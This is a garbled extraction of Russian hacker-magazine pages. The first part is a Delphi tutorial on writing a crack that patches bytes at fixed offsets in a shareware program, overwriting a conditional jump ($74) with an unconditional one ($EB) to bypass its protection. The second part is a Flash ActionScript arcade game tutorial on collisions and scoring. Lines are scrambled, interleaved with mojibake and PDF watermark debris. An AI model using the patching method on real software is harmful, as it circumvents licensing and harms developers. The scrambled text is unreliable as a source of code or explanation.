 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Перехожу на нужную позицию

в файле

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

f.Seek($0AC0E9,

soFromBeginning);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Читаю текущее значение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

f.Read(s, sizeof(s));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Если текущее значение

равно $74, то исправить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if s=$74 then

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

s:=$EB;

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Форма моего будущего кряка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Возвращаюсь

обратно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

f.Seek($0AC0E9, soFromBeginning);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Create),

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Записываю новое значение

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В первой строке кода

я инициализирую

эту переменную (F:=TFileStream

 

 

f.Write(s, sizeof(s));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. У него есть два параметра:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вызывая метод Create объекта

TFileStream

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1.

Имя открываемого

файла, или полный путь.

 

 

чтобы можно было одновременно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

указал fmOpenReadWrite,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2.

Способ

 

 

 

 

 

 

 

 

. ß

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Далее то же самое

для второй строчки

 

 

 

 

 

 

 

 

 

 

 

 

 

 

открытия

 

файла.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è

писать, и читать из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на объект

с открытым

 

f.Seek($0AC0FE, soFromBeginning);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

переменная F содержит указатель

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После инициализации

 

 

 

 

 

 

 

 

 

-

 

f.Read(s,

sizeof(s));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

позицию и прочитать

оттуда значе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Теперь мне надо перейти на нужную

 

 

. Ó íåãî

òîæå

 

if s=$74

then

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

файлом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ние. Для перехода на нужное

место в файле я использую

метод Seek

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

есть два параметра:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Здесь тебе нужно по

 

s:=$EB;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1. Число, указывающее на позицию,

в которую надо перейти

 

 

 

 

 

 

 

 

f.Seek($0AC0FE, soFromBeginning);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ставить адрес,

указанный в кряке.

 

 

 

 

 

 

 

 

 

 

 

 

 

что означает двигаться от на

 

f.Write(s, sizeof(s));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Я указал soFromBeginning,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2. Откуда надо двигаться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в файле. Теперь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

÷àëà.

 

 

 

 

 

 

 

 

 

F.Seek

мы переместились

на нужную позицию

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После выполнения

 

îäèí áàéò ñ ïî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Для этого нужно прочитать

 

//Закрываю файл

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нужно проверить,

какое там значение

 

 

 

 

два параметра:

 

 

 

 

 

 

 

 

f.Free;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

И снова у этого метода

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мощью метода

Read.

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в которую будет записан результат

чтения.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1.

Переменная,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2.

Количество байт,

которые надо прочитать

байта.

Если все нормально, то можно

end.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

проверку

прочитанного

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После этого я делаю

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Но перед записью нужно снова выставить ука

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

записать на родину новое значение

 

 

 

что после

 

чтения одного

байта указатель

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

затель в файле

на нужное место, потому

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

прочитанных

 

байт. Поэтому я снова вызываю

метод Seek

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сдвинулся

на количество

 

 

 

 

 

Итого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

опять же два параметра:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

метод Write, у которого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для записи я использую

 

 

 

. Я записываю

содержимое пе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

без проблем

писать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1.

Переменная, содержимое которой нужно

записать

 

 

 

 

 

 

 

 

 

 

 

 

ñëè òû ñìîã

усвоить все, что я тебе сказал, то сможешь

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

Å

 

 

 

ýòî òîëü-

 

ременной S, в которой

уже находится нужное значение

 

 

 

 

 

 

 

 

 

 

 

свои собственные патчи. Только

не забывай, что я тебе рассказал

 

ýòè çíà-

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

без проблем использовать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Ты можешь

 

 

 

2. Число байт

 

для записи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

для второй строки

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Теперь повторяю

ту же операцию

ко в познавательных целях

 

 

 

 

 

 

 

преследовать не

будет.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

что за это тебя никто

 

 

 

 

Все, первый

байт я исправил

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ния для патча игр,

потому

 

 

прогу,

òî

я должен тебя

 

 

 

 

 

 

 

 

второй байт.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

какую-нибудь шароварную

 

кряка и исправляю

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если ты захочешь

пропатчить

 

 

законом”. Совсем не-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

который может караться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

предупредить: “Патчинг

- это взлом,

 

 

 

 

 

 

 

 

Почему именно так?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

великобританской

полиции

посадили шестерых чело-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

давно доблестные

ребята из

 

 

но и не Африка. Наша

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. А почему я не захотел сделать

 

 

Мы, конечно

 

же, не Великобритания,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

век за взломы прог.

 

 

 

 

 

право (если за-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Так что посадить имеют

 

 

 

ля кодинга я использовал

объект TFileStream

 

 

 

 

 

 

 

 

проще и ко-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ä

 

 

 

 

 

 

 

 

 

 

 

 

всего, это не будет

страна тоже цивилизованная,

хотя и бедная

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и написать кряк на WinAPI? Прежде

 

 

 

 

 

никому не

нужен, так это совсем

 

 

 

 

 

 

 

проще

 

 

 

 

 

 

 

 

 

 

-вторых,

 

 

 

òî, ÷òî òû

ïîêà ÷òî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Âî

 

хотят). А вот

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

личество строк

не уменьшится,

поэтому нет смысла мучиться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Почему?

 

Сейчас объясню.

 

 

 

 

другой вопрос.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. À åùå ÷òîá òâîè

глаза ни

 

 

 

 

 

использование объектов

всегда удобнее

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Удачи тебе и синего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

существовали функции: _fcreat, _fseek, _fread и т.д.

неба над головой

 

.

 

 

 

 

 

 

 

 

 

 

 

 

Сначала для работы

с файлами

 

 

SetFilePointer,

 

WriteFile. Теперь начинают появ-

когда не увидели это небо в сеточку

:). Шутка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CreateFile,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После этого появились

 

 

 

 

 

 

 

 

 

 

новые функции в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Всеми любимая MS встраивает

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляться WriteFileEx

и ей подобные

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

76

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

w

 

 

to

 

 

 

 

o

 

 

 

 

 

 

Joystick

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

САМ СЕБЕ ДЕВЕЛОПЕР. ВАЯЕМ АРКАДУ.

ЧАСТЬ НУМЕРО ФИНАЛЕ

Александр "xtracer" Логинов (http://www.rgw.ru)

Сам себе девелопЕр. Ваяем аркаду. Часть нумеро финале

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ÂÕÎÄ

Итак, дорогие механики и на- чинающие геймдевелоперы, вашему вниманию предлагается заключительная часть рассказа о создании простенькой аркады на основе технологии Flash. Возможно, в отдаленном будущем мы вернемся к теме программирования искусственного интеллекта и даже создания псевдотрехмерных шутеров на Flash, но это случится не скоро. Сегодня тебе, приятель, предстоит завершить аркадную разработку, подробное описание которой ты без особого труда найдешь в предыдущем номере журнала. Впрочем, хватит болтать. Скорее загружай Flash, вытаскивай почерневшую от грязи пачку чипсов и будь готов к самым неожиданным результатам.

Взаимодействие

объектов

(Pèñ. 1) Добившись последовательного движения объектов и заднего фона в предыдущей статье, теперь ты можешь сконцентрироваться на одном из самых важнейших моментов в создании игры - программировании взаимодействия объектов. Космический корабль, инопланетяне, лазерные лучи - это всего лишь одинокие рисунки, пролетающие справа налево по темным полям безжизненного экрана. Ты должен заставить их почувствовать упругость, уравновесить с законами виртуального мира.

Лазеры должны поражать цель, противник взрываться, а космический корабль избегать многочисленных препятствий. Для того чтобы заставить отдельные ролики понимать механику общего процесса, мы воспользуемся методом hitTest. Основа этой технологии заключается в определении момента столкновения границ объектов. Если ты окрасишь любой игровой объект, будь то лазер или космический корабль врага, ты заметишь, что окрашенное изображение заключено в прямоугольник. Именно при соприкосновении двух прямоугольников срабатывает метод hitTest, и в действие включается соответствующий кусок анимации (например, взрыв). Вполне естественно, что такой подсчет не совсем точен с точки зрения реализма (границы прямоугольника и точка отрисованного объекта могут не совпадать), но при большой скорости движения эта погрешность становится незаметной. В принципе, ты можешь воспользоваться осями координат для достижения максимального реализма, но подобный подход принесет нам лишние строчки программного кода и тонну ненужных подводных камней. Итак, давай установим взаимодействие между лазером и врагом.

Для начала выбери лазер и Actions для него "Window>Actions" (CTRL+ALT+A). Если ты сделал все правильно в первой части статьи, то твой код должен быть следующим:

onClipEvent (enterFrame) { this._x+=laserMoveSpeed;

if (this._x>500){ this.removeMovieClip();

}

}

Перед двумя правыми скобками добавь следующие строчки:

for (i=1; i<=_root.numEnemy; i++){

if (this.hitTest( _root["enemy"+i])){ _root.score+=100; _root["enemy"+i].gotoAndPlay( 2 );

}

}

Данный код проверяет взаимодействие лазера с одним из кораблей врага. Если взаимодействие обнаружено, то игрок получает +100 очков (root.score+=100;), а корабль противника вынужден проигрывать анимацию во втором фрейме (_root["enemy"+i].gotoAndPlay( 2 );). Первая строка устанавливает значе- ние для повтора кода. Если на экране больше чем два врага, то количество повторов увеличивается. Т.е. программа проверяет взаимодействие лазера с каждым кораблем врага на экране. Вторая строка проводит сам тест в соответствии с установленным значением. Теперь перейдем к созданию таблицы очков и непосредственно к самим взрывам.

Взрывы и очки

Как ты уже успел заметить выше, при столкновении лазера и корабля противника игрок получает определенное количество очков за каждое попадание. Очки он, конечно, получает, но они никуда не выводятся. Поэтому стоит сделать элементарный счетчик. Для начала создай новый слой и назови его score. Используя панель инструментов, создай на новом слое меню с динамичным текстом (dynamic text). Перенеси новый объект в правый верхний угол экрана и, не убирая курсора в панели инструментов (Text Options), выбери из ниспадающего меню значение Dynamic Text, поставь галочку на Selectable, выбери в соседнем меню Single Line и набери в стро-

ке "Variable" - score. В подразделе Embed Fonts выбери числовое значе- ние. Не покидая меню, выбери первый фрейм и Actions (CTRL+ALT+A). Используя расширенный режим, введи всего одну строчку.

score=0;

Теперь в начале новой игры счетчик будет обнуляться, что абсолютно правильно с точки зрения игрового дизайна.

Мощные взрывы

Анимация взрывов - процесс интересный, но самый нудный из всех. Для начала выбери корабль врага, щелкнув на модели. Затем правой кнопкой мыши выбери функцию Edit. Теперь, когда на экране ты видишь только корабль противника, можно приступить к созданию новых фреймов анимации. На данном этапе первый фрейм анимации должен быть полностью заполнен. Используя все тот же слой, создай (F6 или Insert> keyframe) четыре новых кадра (keyframes) анимации для реализации процесса взрыва вражеского корабля. При желании ты можешь увеличить это количество, но, на мой взгляд, четырех кадров будет достаточно. Для максимальной реалистич- ности процесса копируй предыдущий кадр поверх нового, чтобы анимация была пошаговой и в меру плавной. Затем выбери шестой кадр и вставь пустой кадр (blank keyframe) Insert> Blank keyframe или F7. Теперь там же создай новый слой и назови его control. Выбери первый кадр нового слоя и, используя Actions (CTRL+ALT+A), набери следующий код:

stop();

В том же слое сделай шестой кадр пустым (F7). Вновь выбрав шестой кадр все на том же слое control,

78 Ньюсы 1 Феррум 2 PC_Zone 3 X-Стиль 4 Взлом

Соседние файлы в папке журнал хакер